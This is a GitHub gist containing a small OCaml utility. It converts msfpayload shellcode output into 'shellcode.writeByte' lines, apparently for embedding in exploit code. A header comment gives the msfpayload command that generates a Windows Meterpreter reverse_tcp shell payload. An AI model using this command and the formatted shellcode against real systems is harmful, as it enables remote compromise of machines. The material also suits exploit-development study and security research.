Created
October 12, 2013 19:02
-
-
Save argp/6953625 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(* | |
* msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 C \ | |
* | ocaml format_payload.ml | |
*) | |
let out ch_1 ch_2 = Printf.printf "shellcode.writeByte(0x%c%c);\n" ch_1 ch_2 | |
let main () = | |
let i = ref 0 in | |
let rec loop () = | |
let next = input_char stdin in | |
if next == ';' then raise End_of_file; | |
if next == '\\' then | |
( | |
let x = input_char stdin in | |
if x == 'x' then | |
incr i; | |
let ch_1 = input_char stdin in | |
let ch_2 = input_char stdin in | |
out ch_1 ch_2 | |
); | |
loop () | |
in | |
try | |
loop () | |
with | |
End_of_file -> Printf.printf "[*] shellcode size: %i bytes\n" !i | |
;; | |
let _ = main () | |
(* EOF *) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
edit:fixed syntax highlighting